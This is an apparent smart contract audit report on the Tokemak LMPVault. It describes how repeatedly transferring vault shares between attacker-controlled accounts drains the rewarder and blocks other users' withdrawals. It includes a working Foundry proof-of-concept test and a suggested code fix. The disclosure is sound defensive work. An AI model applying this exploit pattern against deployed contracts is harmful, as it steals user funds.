Long Satin Sealion

high

# Draining funds from Rewarder / Preventing users from withdrawing from LMPVault
## Summary
An attacker is able to drain all funds from the rewarder since the transferring shares are not validated, and the checkpoint for rewards is not properly set before receiving shares. Furthermore, as a result of exploiting this vulnerability the user is not able to withdraw from LMPvault.

## Vulnerability Detail
The problem lies that any user can **transfer his owned shares** from the LMP vault to any user. And subsequently that user who obtains those shares can again **claim for rewards** from the rewarder. The **total supply is unchanged** so that he can **drain all the funds.**
Furthermore, when any other user wants to **withdraw from LMPVault**, the function for **_getReward** is called to the main rewarder. The contract still thinks that the user should get a proper amount of rewards; however, no assets are available in the rewarder, **therefore the call fails** 

### Attack scenario

1. User A, B and Attacker deposit to LMP Vault 1000 shares, now the vault has 3000 shares in total.
2. Admin adds 1000 Tokes to rewarder. 
3. After 10 000 blocks have passed it is possible to claim rewards (Every user should get 333,3333 Tokes)
4. The attacker starts claiming rewards and gets 333,3333 Tokes. However, he sends his shares to another account address controlled by the attacker, this account claims again and repeats transferring/claiming to drain funds. => *The attacker drained all rewards.*
5. Now, user A wants to withdraw from the vault. The proper situation would be that he gets 1000 assets from the LMP vault and 333,3333 Toke from the rewarder. However, no assets are available. => **The withdrawal fails.** 


I have devised a PoC from the previous scenario, which can be added to LMPVault-Withdraw.t.sol.
 
### PoC
```Solidity
function test_stealing_money_from_rewarder() public {
		//@audit-issue not tracking of shares allows draining funds from rewarder
		address alice = makeAddr("Alice");
		address bob = makeAddr("Bob");
		address attacker = makeAddr("attacker");
		address attacker2 = makeAddr("attacker2");
		address attacker3 = makeAddr("attacker3");
		_asset.mint(attacker, 1000);
		_asset.mint(bob, 1000);
		_asset.mint(alice, 1000);

		assertEq(_lmpVault.balanceOf(address(this)), 0);
		assertEq(_lmpVault.rewarder().balanceOf(address(this)), 0);

		_accessController.grantRole(Roles.DV_REWARD_MANAGER_ROLE, address(this));
		_lmpVault.rewarder().addToWhitelist(address(this));
		_lmpVault.rewarder().setTokeLockDuration(0); // TO prevent staking, It is in contract but not in interface so I added it there to IBaseRewarder.sol
		_toke.mint(address(this), 1000e18);
		_toke.approve(address(_lmpVault.rewarder()), 1000e18);
		_lmpVault.rewarder().queueNewRewards(1000e18);

		vm.startPrank(attacker);
		_asset.approve(address(_lmpVault), 1000);
		_lmpVault.deposit(1000, attacker);
		vm.stopPrank();

		vm.startPrank(bob);
		_asset.approve(address(_lmpVault), 1000);
		_lmpVault.deposit(1000, bob);
		vm.stopPrank();

		vm.startPrank(alice);
		_asset.approve(address(_lmpVault), 1000);
		_lmpVault.deposit(1000, alice);
		vm.stopPrank();

		assert(_toke.balanceOf(attacker) == 0);
		assert(_toke.balanceOf(attacker2) == 0);
		assert(_toke.balanceOf(attacker3) == 0);
		assert(_lmpVault.totalSupply() == 3000);

		vm.roll(block.number + 10_000);

		vm.startPrank(attacker);
		_lmpVault.rewarder().getReward();
		_lmpVault.transfer(attacker2, 1000);
		vm.stopPrank();

		vm.startPrank(attacker2);
		_lmpVault.rewarder().getReward();
		_lmpVault.transfer(attacker3, 1000);
		vm.stopPrank();

		vm.startPrank(attacker3);
		_lmpVault.rewarder().getReward();
		vm.stopPrank();

		assert(_toke.balanceOf(attacker) > 0);
		assert(_toke.balanceOf(attacker2) > 0);
		assert(_toke.balanceOf(attacker3) > 0); //@audit-info all rewards were drained from rewarder

		assert(_toke.balanceOf(bob) == 0);
		assert(_toke.balanceOf(alice) == 0);
		//These reverts
		// vm.startPrank(bob);
		// _lmpVault.rewarder().getReward();
		// vm.stopPrank();

		// vm.startPrank(alice);
		// _lmpVault.rewarder().getReward();
		// vm.stopPrank();


		// These reverts too
		// vm.startPrank(bob);
		// _lmpVault.withdraw(1000, bob, bob); //@audit-issue this reverts after we drain rewarder
		// vm.stopPrank();
	}
```

## Impact
The primary vulnerability is that an attacker is able to drain all funds from the rewarder. Afterwards when funds from the rewarder are stolen, any other user (except the attacker) is prevented from withdrawing from the LMP vault. From my perspective this represents a critical issue for your protocol and for all of your users that should be addressed immediately.

## Code Snippet
https://github.com/sherlock-audit/2023-06-tokemak/blob/5d8e902ce33981a6506b1b5fb979a084602c6c9a/v2-core-audit-2023-07-14/src/rewarders/AbstractRewarder.sol#L204-L206 
https://github.com/sherlock-audit/2023-06-tokemak/blob/5d8e902ce33981a6506b1b5fb979a084602c6c9a/v2-core-audit-2023-07-14/src/vault/LMPVault.sol#L834C4-L852 - no update before transfer.

## Tool used

Manual Review

## Recommendation
Track all transfers in the rewarder. Update checkpoint - be careful when utilizing userâ€™s balances which are tracked by external entities (as LMP vault).
This issue could be solved by changing the beforeTokenTransfer() function in LMPVault.sol, where you can update a reward checkpoint before transferring tokens between users.
```diff
if (from != address(0)) {
    rewarder.withdraw(from, amount, true); 
+  rewarder.withdraw(to, 0, false) // I think this will update the reward checkpoint before he receives tokens.
}
```